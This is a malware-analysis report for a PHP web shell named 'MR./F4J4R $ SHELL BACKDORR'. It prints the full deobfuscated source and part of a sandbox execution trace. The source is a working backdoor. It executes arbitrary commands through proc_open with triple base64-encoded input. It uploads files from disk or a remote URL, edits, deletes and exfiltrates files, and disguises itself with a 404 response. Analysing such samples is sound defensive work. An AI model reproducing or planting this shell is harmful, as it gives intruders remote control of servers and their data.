PHP Malware Analysis

shell.php, shell.php6

md5: a904b40e986d19aea7f4783cdb4a608a

Jump to:

Screenshot


Attributes

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

<!DOCTYPE html>
<html>
<head>
    <title>MR./F4J4R $ SHELL BACKDORR</title>
    <meta name="author" content="Mr.Fn4ticHz">
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <meta name="description" content="Crushed Is Batter Than Fixing">
    <meta property="og:description" content="Crushed Is Batter Than Fixing">
    <meta property="og:image" content="https://bbx-host.pw/bbr.jpg">
    <meta name="robots" content="noindex">
    <meta name="googlebot" content="noindex">
    <meta name="theme-color" content="#1f1f1f">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
<style>
    @import url('https://fonts.googleapis.com/css?family=Dosis');
    @import url('https://fonts.googleapis.com/css?family=Bungee');
body {
    font-family: "Dosis", cursive;
    text-shadow:0px 0px 1px #757575;
}

body::-webkit-scrollbar {
  width: 12px;
}

body::-webkit-scrollbar-track {
  background: #1f1f1f;
}

body::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

#content tr:hover {
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}

#content .first {
    background-color: #25383C;
}

#content .first:hover {
    background-color: #25383C
    text-shadow:0px 0px 1px #757575;
}

table {
    border: 1px #000000 dotted;
    table-layout: fixed;
    word-break: break-all;
}

textarea {
    max-width: 95%;
    max-height: 100%;
    resize: none;
    outline: none;
    overflow: auto;
    background: transparent;
    color: #fff;
}

textarea::-webkit-scrollbar {
  width: 12px;
}

textarea::-webkit-scrollbar-track {
  background: #1f1f1f;
}

textarea::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

a {
    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: gold;
    text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<script>
function setfilename(val)
  {
    filename = val.split('\\').pop().split('/').pop();
    //filename = filename.substring(0, filename.lastIndexOf('.'));
    document.getElementById('namanya').value = filename;
  }

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bepasdata").innerHTML = text;
}
</script>
<center>
<font face="Bungee" size="5">MR./F4J4R Priv8</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<?php 
@set_time_limit(0);
@error_reporting(0);
@http_response_code(404);
$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
    $disf = "<font color='gold'>NONE</font>";
} else {
    $disf = "<font color='red'>" . $disfunc . "</font>";
}
function author()
{
    echo "<center><br>AnonSec - 2021</center>";
    exit;
}
function cekdir()
{
    if (isset($_GET['path'])) {
        $lokasi = $_GET['path'];
    } else {
        $lokasi = getcwd();
    }
    if (is_writable($lokasi)) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}
function cekroot()
{
    if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}
function xrmdir($dir)
{
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}
function dunlut($file)
{
    if (!is_readable($file)) {
        red("Cannot Download File / Unreadable File !");
        die;
    }
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    flush();
    readfile($file);
    die;
}
function owner($file)
{
    if (function_exists("posix_getpwuid")) {
        $tod = @posix_getpwuid(fileowner($file));
        return "<center>" . $tod['name'] . "</center>";
    } else {
        return "<center>" . fileowner($file) . "</center>";
    }
}
function cekwrite($lokasi)
{
    $izin = substr(sprintf('%o', fileperms($lokasi)), -4);
    if (is_writable($lokasi)) {
        return "<font color=green>" . $izin . "</font>";
    } else {
        return "<font color=red>" . $izin . "</font>";
    }
}
function ekse($komend, $lokasi)
{
    if (!function_exists("proc_open")) {
        die("proc_open function disabled !");
    } elseif (!function_exists("base64_decode")) {
        die("base64_decode function disabled !");
    }
    $komen = base64_decode(base64_decode(base64_decode($komend)));
    $tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi);
    echo "<textarea rows='25' cols='100'>" . htmlspecialchars(stream_get_contents($pipes[1])) . "</textarea><br><br>";
}
function ipserv()
{
    if (empty($_SERVER['SERVER_ADDR'])) {
        return gethostbyname($_SERVER['SERVER_NAME']);
    } else {
        return $_SERVER['SERVER_ADDR'];
    }
}
function cekfile($file)
{
    return "<i class=\"fa fa-file\" style=\"color: #d6d4ce\"></i> ";
}
function filedate($file)
{
    return date("F d Y g:i:s", filemtime($file));
}
function unzip($file, $lokasi)
{
    if (!is_readable($file)) {
        red("Cannot Unzip File / Unreadable File !");
        die;
    } elseif (strpos(file_get_contents($file), "PK\x03\x04") === false) {
        red("This isn't Zip File !");
        die;
    }
    $zip = new ZipArchive();
    $res = $zip->open($file);
    if ($res == true) {
        $zip->extractTo($lokasi);
        $zip->close();
        green("Success Unzip File !");
    } else {
        red("Failed to Unzip File !");
    }
}
function green($text)
{
    echo "<center><font color='green'>" . $text . "</center></font>";
}
function red($text)
{
    echo "<center><font color='red'>" . $text . "</center></font>";
}
echo "Server IP : <font color=gold>" . ipserv() . "</font> &nbsp;/&nbsp; Your IP : <font color=gold>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
echo "Web Server : <font color='gold'>" . $_SERVER['SERVER_SOFTWARE'] . "</font><br>";
echo "System : <font color='gold'>" . php_uname() . "</font><br>";
echo "User : <font color='gold'>" . @get_current_user() . "&nbsp;</font>( <font color='gold'>" . @getmyuid() . "</font>)<br>";
echo "PHP Version : <font color='gold'>" . @phpversion() . "</font><br>";
echo "Disable Function : " . $disf . "</font><br>";
echo "MySQL : ";
if (function_exists("mysql_connect")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; cURL : ";
if (function_exists("curl_init")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; WGET : ";
if (file_exists("/usr/bin/wget")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Perl : ";
if (file_exists("/usr/bin/perl")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Python : ";
if (file_exists("/usr/bin/python2")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
foreach ($_POST as $key => $value) {
    $_POST[$key] = stripslashes($value);
}
if (isset($_GET['path'])) {
    $lokasi = $_GET['path'];
    $lokdua = $_GET['path'];
} else {
    $lokasi = getcwd();
    $lokdua = getcwd();
}
$lokasi = str_replace('\\', '/', $lokasi);
$lokasis = explode('/', $lokasi);
$lokasinya = @scandir($lokasi);
echo "<br>Directory (" . cekwrite($lokasi) . ") : &nbsp;";
foreach ($lokasis as $id => $lok) {
    if ($lok == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($lok == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$lokasis[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $lok . '</a>/';
}
echo "</td></tr><tr><td>";
if (isset($_POST['upwkwk'])) {
    if ($_POST['dirnya'] == "2") {
        $lokasi = $_SERVER['DOCUMENT_ROOT'];
    }
    if (isset($_POST['berkasnya'])) {
        $data = @file_put_contents($lokasi . "/" . $_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
        if (file_exists($lokasi . "/" . $_FILES['berkas']['name'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_FILES['berkas']['name'] . "</i></font><br><br>";
        } else {
            echo "<font color='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['linknya'])) {
        if (empty($_POST['namalink'])) {
            exit("Filename cannot be empty !");
        }
        if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
        $data = @file_put_contents($lokasi . "/" . $_POST['namalink'], @file_get_contents($_POST['darilink']));
        if (file_exists($lokasi . "/" . $_POST['namalink'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_POST['namalink'] . "</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['bepas'])) {
        $bepasdata = $_POST['bepasdata'];
        $bepasnama = $_POST['bepasnama'];
        if ($bepasdata) {
            echo "string";
        }
        @file_put_contents($lokasi . "/" . $bepasnama, $bepasdata);
        if (file_exists($lokasi . "/" . $bepasnama)) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $bepasnama . "</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    }
}
echo "</table><br>";
echo "<table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">";
echo '<th>[ &nbsp;<a href="' . $_SERVER['SCRIPT_NAME'] . '">Home</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&komend=gaskan">C0mmand</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&upload=gaskan">Upload File</a>&nbsp; ]</th>';
echo "</table><br>";
if (isset($_GET['fileloc'])) {
    echo "<tr><td>Current File : " . $_GET['fileloc'];
    echo "</tr></td></table><br/>";
    echo "<pre>" . htmlspecialchars(file_get_contents($_GET['fileloc'])) . "</pre>";
    author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
    if (is_dir($_POST['path'])) {
        xrmdir($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to delete Directory !");
        } else {
            green("Delete Directory Success !");
        }
    } elseif (is_file($_POST['path'])) {
        @unlink($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to Delete File !");
        } else {
            green("Delete File <i>" . basename($_POST['path']) . "</i> Success !");
        }
    }
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
    if (isset($_POST['gantin'])) {
        $ren = @rename($_POST['path'], $_POST['newname']);
        if ($ren == true) {
            green("Change Name Success !");
        } else {
            red("Change Name Failed !");
        }
    }
    if (empty($_POST['name'])) {
        $namaawal = $_POST['newname'];
    } else {
        $namawal = $_POST['name'];
    }
    echo "<center>" . $_POST['path'] . "<br>";
    echo '<form method="post">
    New Name : <input name="newname" type="text" class="up" size="20" value="' . $namaawal . '" />
    <input type="hidden" name="path" value="' . $_POST['path'] . '">
    <input type="hidden" name="pilih" value="gantinama">
    <input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
    </form>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
    if (isset($_POST['gasedit'])) {
        $edit = @file_put_contents($_POST['path'], $_POST['src']);
        if ($edit == true) {
            green("Edit File Success !");
        } else {
            red("Edit File Failed !");
        }
    }
    echo "<center>" . $_POST['path'] . "<br><br>";
    echo '<form method="post">
    <textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br>
    <input type="hidden" name="path" value="' . $_POST['path'] . '">
    <input type="hidden" name="pilih" value="edit">
    <input type="submit" value="Edit File" name="gasedit" />
    </form><br>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "dunlut") {
    dunlut($_POST['path']);
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "unzip") {
    unzip($_POST['path'], $lokasi);
} elseif ($_REQUEST['upload'] == "gaskan") {
    echo "<center>Upload File : ";
    echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ ' . cekdir() . ' ]
<input type="radio" value="2" name="dirnya" >document_root [ ' . cekroot() . ' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br><br>
Upload File From Link :<br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
<br><br>403 Upload File<br>
<input type="file" id="datanya" onchange="setfilename(this.value); loadFile(this.files[0])"/>
<input type="hidden" name="bepasnama" id="namanya">
<textarea style="display: none" id="bepasdata" name="bepasdata"></textarea>
<input type="submit" name="bepas" value="Upload" class="up" style="cursor: pointer; border-color: #fff">
</form><br><br></center>';
} elseif ($_GET['komend'] == "gaskan") {
    echo "<center>";
    echo '<form method="post" onsubmit="document.getElementById(\'komendnya\').value = btoa(btoa(btoa(document.getElementById(\'komendnya\').value)))">
    ' . @get_current_user() . '@' . ipserv() . ':~ $ <input type="text" name="komend" id="komendnya" style="background-color: #1f1f1f; color: #fff">
    <input type="submit" name="eksekomend" value=" >> " class="up" style="cursor: pointer; border-color: #fff">
    </form><br>';
    if (isset($_POST['eksekomend'])) {
        ekse($_POST['komend'], $lokasi);
    }
    echo "</center>";
}
if (!is_readable($lokasi)) {
    die("<center>This directory is unreadable :(</center>");
}
echo "<div id=\"content\"><table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<td><center>Name</center></td>\r\n<td><center>Size</center></td>\r\n<td><center>Last Modified</center></td>\r\n<td><center>Owner</center></td>\r\n<td><center>Permissions</center></td>\r\n<td><center>Options</center></td>\r\n</tr>";
foreach ($lokasinya as $dir) {
    if (!is_dir($lokasi . "/" . $dir) || $dir == '.') {
        continue;
    }
    echo "<tr>\r\n    <td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href=\"?path=" . $lokasi . "/" . $dir . "\">" . $dir . "</a></td>\r\n    <td><center>--</center></td>\r\n    <td><center>" . filedate($lokasi . "/" . $dir) . "</center></td>\r\n    <td>" . owner($lokasi . "/" . $dir) . "</td>\r\n    <td><center>";
    if (is_writable($lokasi . "/" . $dir)) {
        echo "<font color=\"green\">";
    } elseif (!is_readable($lokasi . "/" . $dir)) {
        echo "<font color=\"red\">";
    }
    echo statusnya($lokasi . "/" . $dir);
    if (is_writable($lokasi . "/" . $dir) || !is_readable($lokasi . "/" . $dir)) {
        echo "</font>";
    }
    echo "</center></td>\r\n    <td><center><form method=\"POST\" action=\"?pilihan&path={$lokasi}\">\r\n    <select name=\"pilih\">\r\n    <option value=\"\"></option>\r\n    <option value=\"hapus\">Delete</option>\r\n    <option value=\"gantinama\">Rename</option>\r\n    </select>\r\n    <input type=\"hidden\" name=\"type\" value=\"dir\">\r\n    <input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n    <input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$dir}\">\r\n    <input type=\"submit\" class=\"gas\" value=\">\" />\r\n    </form></center></td>\r\n    </tr>";
}
echo "<tr class=\"first\"><td></td><td></td><td></td><td></td><td></td><td></td></tr>";
foreach ($lokasinya as $file) {
    if (!is_file("{$lokasi}/{$file}")) {
        continue;
    }
    $size = filesize("{$lokasi}/{$file}") / 1024;
    $size = round($size, 3);
    if ($size >= 1024) {
        $size = round($size / 1024, 2) . ' MB';
    } else {
        $size .= ' KB';
    }
    echo "<tr>\r\n<td>" . cekfile($lokasi . "/" . $file) . "<a href=\"?fileloc={$lokasi}/{$file}&path={$lokasi}\">{$file}</a></td>\r\n<td><center>" . $size . "</center></td>\r\n<td><center>" . filedate($lokasi . "/" . $file) . "</center></td>\r\n<td>" . owner($lokasi . "/" . $file) . "</td>\r\n<td><center>";
    if (is_writable("{$lokasi}/{$file}")) {
        echo "<font color=\"green\">";
    } elseif (!is_readable("{$lokasi}/{$file}")) {
        echo "<font color=\"red\">";
    }
    echo statusnya("{$lokasi}/{$file}");
    if (is_writable("{$lokasi}/{$file}") || !is_readable("{$lokasi}/{$file}")) {
        echo "</font>";
    }
    echo "</center></td><td><center>\r\n<form method=\"post\" action=\"?pilihan&path={$lokasi}\">\r\n<select name=\"pilih\">\r\n<option value=\"\"></option>\r\n<option value=\"hapus\">Delete</option>\r\n<option value=\"dunlut\">Download</option>\r\n<option value=\"gantinama\">Rename</option>\r\n<option value=\"edit\">Edit</option>";
    if (class_exists("ZipArchive")) {
        echo "<option value=\"unzip\">Unzip</option>";
    }
    echo "</select>\r\n<input type=\"hidden\" name=\"type\" value=\"file\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$file}\">\r\n<input type=\"submit\" class=\"gas\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
}
echo "</tr></td></table></table>";
author();
function statusnya($file)
{
    $izin = substr(sprintf('%o', fileperms($file)), -4);
    return $izin;
}

Execution traces

data/traces/a904b40e986d19aea7f4783cdb4a608a_trace-1676244706.5027.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:32:12.400575]
1	0	1	0.000180	393528
1	3	0	0.000709	497872	{main}	1		/var/www/html/uploads/shell.php6	0	0
2	4	0	0.000729	497872	set_time_limit	0		/var/www/html/uploads/shell.php6	152	1	0
2	4	1	0.000746	497936
2	4	R			FALSE
2	5	0	0.000761	497904	error_reporting	0		/var/www/html/uploads/shell.php6	153	1	0
2	5	1	0.000774	497944
2	5	R			0
2	6	0	0.000786	497904	http_response_code	0		/var/www/html/uploads/shell.php6	154	1	404
2	6	1	0.000799	497944
2	6	R			200
2	7	0	0.000811	497904	ini_get	0		/var/www/html/uploads/shell.php6	156	1	'disable_functions'
2	7	1	0.000825	498384
2	7	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/shell.php6	156	$disfunc = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/shell.php6	160	$disf = '<font color=\'red\'>pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font>'
2	8	0	0.000896	498800	ipserv	1		/var/www/html/uploads/shell.php6	297	0
2	8	1	0.000909	498800
2	8	R			'127.0.0.1'
2	9	0	0.000924	498800	php_uname	0		/var/www/html/uploads/shell.php6	299	0
2	9	1	0.000938	498912
2	9	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	10	0	0.000956	498800	get_current_user	0		/var/www/html/uploads/shell.php6	300	0
2	10	1	0.000992	498840
2	10	R			'osboxes'
2	11	0	0.001007	498904	getmyuid	0		/var/www/html/uploads/shell.php6	300	0
2	11	1	0.001019	498904
2	11	R			1000
2	12	0	0.001032	498808	phpversion	0		/var/www/html/uploads/shell.php6	301	0
2	12	1	0.001044	498872
2	12	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	13	0	0.001064	498920	function_exists	0		/var/www/html/uploads/shell.php6	304	1	'mysql_connect'
2	13	1	0.001078	498960
2	13	R			FALSE
2	14	0	0.001091	498920	function_exists	0		/var/www/html/uploads/shell.php6	310	1	'curl_init'
2	14	1	0.001104	498960
2	14	R			TRUE
2	15	0	0.001117	498920	file_exists	0		/var/www/html/uploads/shell.php6	316	1	'/usr/bin/wget'
2	15	1	0.001138	498960
2	15	R			TRUE
2	16	0	0.001151	498920	file_exists	0		/var/www/html/uploads/shell.php6	322	1	'/usr/bin/perl'
2	16	1	0.001166	498960
2	16	R			TRUE
2	17	0	0.001179	498920	file_exists	0		/var/www/html/uploads/shell.php6	328	1	'/usr/bin/python2'
2	17	1	0.001193	498960
2	17	R			FALSE
2	18	0	0.001207	498920	getcwd	0		/var/www/html/uploads/shell.php6	342	0
2	18	1	0.001220	498968
2	18	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/shell.php6	342	$lokasi = '/var/www/html/uploads'
2	19	0	0.001246	498968	getcwd	0		/var/www/html/uploads/shell.php6	343	0
2	19	1	0.001258	499016
2	19	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/shell.php6	343	$lokdua = '/var/www/html/uploads'
2	20	0	0.001285	499016	str_replace	0		/var/www/html/uploads/shell.php6	346	3	'\\'	'/'	'/var/www/html/uploads'
2	20	1	0.001300	499112
2	20	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/shell.php6	346	$lokasi = '/var/www/html/uploads'
2	21	0	0.001326	499016	explode	0		/var/www/html/uploads/shell.php6	347	2	'/'	'/var/www/html/uploads'
2	21	1	0.001340	499592
2	21	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/shell.php6	347	$lokasis = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2	22	0	0.001373	499520	scandir	0		/var/www/html/uploads/shell.php6	348	1	'/var/www/html/uploads'
2	22	1	0.001404	500144
2	22	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'shell.php6']
1		A						/var/www/html/uploads/shell.php6	348	$lokasinya = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'shell.php6']
2	23	0	0.001441	500112	cekwrite	1		/var/www/html/uploads/shell.php6	350	1	'/var/www/html/uploads'
3	24	0	0.001454	500112	fileperms	0		/var/www/html/uploads/shell.php6	232	1	'/var/www/html/uploads'
3	24	1	0.001475	500176
3	24	R			16895
3	25	0	0.001488	500136	sprintf	0		/var/www/html/uploads/shell.php6	232	2	'%o'	16895
3	25	1	0.001502	500520
3	25	R			'40777'
3	26	0	0.001515	500456	substr	0		/var/www/html/uploads/shell.php6	232	2	'40777'	-4
3	26	1	0.001527	500552
3	26	R			'0777'
2		A						/var/www/html/uploads/shell.php6	232	$izin = '0777'
3	27	0	0.001562	500168	is_writable	0		/var/www/html/uploads/shell.php6	233	1	'/var/www/html/uploads'
3	27	1	0.001577	500208
3	27	R			TRUE
2	23	1	0.001590	500192
2	23	R			'<font color=green>0777</font>'
1		A						/var/www/html/uploads/shell.php6	352	$id = 0
1		A						/var/www/html/uploads/shell.php6	354	$a = TRUE
1		A						/var/www/html/uploads/shell.php6	352	$id = 1
1		A						/var/www/html/uploads/shell.php6	360	$i = 0
1		A						/var/www/html/uploads/shell.php6	360	$i++
1		A						/var/www/html/uploads/shell.php6	360	$i++
1		A						/var/www/html/uploads/shell.php6	352	$id = 2
1		A						/var/www/html/uploads/shell.php6	360	$i = 0
1		A						/var/www/html/uploads/shell.php6	360	$i++
1		A						/var/www/html/uploads/shell.php6	360	$i++
1		A						/var/www/html/uploads/shell.php6	360	$i++
1		A						/var/www/html/uploads/shell.php6	352	$id = 3
1		A						/var/www/html/uploads/shell.php6	360	$i = 0
1		A						/var/www/html/uploads/shell.php6	360	$i++
1		A						/var/www/html/uploads/shell.php6	360	$i++
1		A						/var/www/html/uploads/shell.php6	360	$i++
1		A						/var/www/html/uploads/shell.php6	360	$i++
1		A						/var/www/html/uploads/shell.php6	352	$id = 4
1		A						/var/www/html/uploads/shell.php6	360	$i = 0
1		A						/var/www/html/uploads/shell.php6	360	$i++
1		A						/var/www/html/uploads/shell.php6	360	$i++
1		A						/var/www/html/uploads/shell.php6	360	$i++
1		A						/var/www/html/uploads/shell.php6	360	$i++
1		A						/var/www/html/uploads/shell.php6	360	$i++
2	28	0	0.001830	500136	is_readable	0		/var/www/html/uploads/shell.php6	504	1	'/var/www/html/uploads'
2	28	1	0.001846	500176
2	28	R			TRUE
2	29	0	0.001860	500184	is_dir	0		/var/www/html/uploads/shell.php6	519	1	'/var/www/html/uploads/.'
2	29	1	0.001874	500224
2	29	R			TRUE
2	30	0	0.001888	500192	is_dir	0		/var/www/html/uploads/shell.php6	519	1	'/var/www/html/uploads/..'
2	30	1	0.001901	500240
2	30	R			TRUE
2	31	0	0.001915	500424	filedate	1		/var/www/html/uploads/shell.php6	523	1	'/var/www/html/uploads/..'
3	32	0	0.001928	500424	filemtime	0		/var/www/html/uploads/shell.php6	267	1	'/var/www/html/uploads/..'
3	32	1	0.001941	500464
3	32	R			1676244706
3	33	0	0.001954	500424	date	0		/var/www/html/uploads/shell.php6	267	2	'F d Y g:i:s'	1676244706
3	33	1	0.002010	502816
3	33	R			'February 12 2023 6:31:46'
2	31	1	0.002028	502744
2	31	R			'February 12 2023 6:31:46'
2	34	0	0.002042	502520	owner	1		/var/www/html/uploads/shell.php6	524	1	'/var/www/html/uploads/..'
3	35	0	0.002055	502520	function_exists	0		/var/www/html/uploads/shell.php6	223	1	'posix_getpwuid'
3	35	1	0.002068	502560
3	35	R			TRUE
3	36	0	0.002080	502520	fileowner	0		/var/www/html/uploads/shell.php6	224	1	'/var/www/html/uploads/..'
3	36	1	0.002093	502560
3	36	R			0
3	37	0	0.002105	502520	posix_getpwuid	0		/var/www/html/uploads/shell.php6	224	1	0
3	37	1	0.002130	503320
3	37	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/shell.php6	224	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	34	1	0.002171	502568
2	34	R			'<center>root</center>'
2	38	0	0.002186	502264	is_writable	0		/var/www/html/uploads/shell.php6	526	1	'/var/www/html/uploads/..'
2	38	1	0.002203	502304
2	38	R			TRUE
2	39	0	0.002216	502264	statusnya	1		/var/www/html/uploads/shell.php6	528	1	'/var/www/html/uploads/..'
3	40	0	0.002230	502264	fileperms	0		/var/www/html/uploads/shell.php6	590	1	'/var/www/html/uploads/..'
3	40	1	0.002242	502304
3	40	R			16895
3	41	0	0.002254	502264	sprintf	0		/var/www/html/uploads/shell.php6	590	2	'%o'	16895
3	41	1	0.002267	502648
3	41	R			'40777'
3	42	0	0.002280	502584	substr	0		/var/www/html/uploads/shell.php6	590	2	'40777'	-4
3	42	1	0.002298	502680
3	42	R			'0777'
2		A						/var/www/html/uploads/shell.php6	590	$izin = '0777'
2	39	1	0.002322	502296
2	39	R			'0777'
2	43	0	0.002334	502264	is_writable	0		/var/www/html/uploads/shell.php6	529	1	'/var/www/html/uploads/..'
2	43	1	0.002349	502304
2	43	R			TRUE
2	44	0	0.002364	502264	is_dir	0		/var/www/html/uploads/shell.php6	519	1	'/var/www/html/uploads/.htaccess'
2	44	1	0.002379	502304
2	44	R			FALSE
2	45	0	0.002392	502264	is_dir	0		/var/www/html/uploads/shell.php6	519	1	'/var/www/html/uploads/data'
2	45	1	0.002406	502304
2	45	R			TRUE
2	46	0	0.002419	502488	filedate	1		/var/www/html/uploads/shell.php6	523	1	'/var/www/html/uploads/data'
3	47	0	0.002432	502488	filemtime	0		/var/www/html/uploads/shell.php6	267	1	'/var/www/html/uploads/data'
3	47	1	0.002444	502528
3	47	R			1676244706
3	48	0	0.002457	502488	date	0		/var/www/html/uploads/shell.php6	267	2	'F d Y g:i:s'	1676244706
3	48	1	0.002487	502816
3	48	R			'February 12 2023 6:31:46'
2	46	1	0.002501	502744
2	46	R			'February 12 2023 6:31:46'
2	49	0	0.002516	502520	owner	1		/var/www/html/uploads/shell.php6	524	1	'/var/www/html/uploads/data'
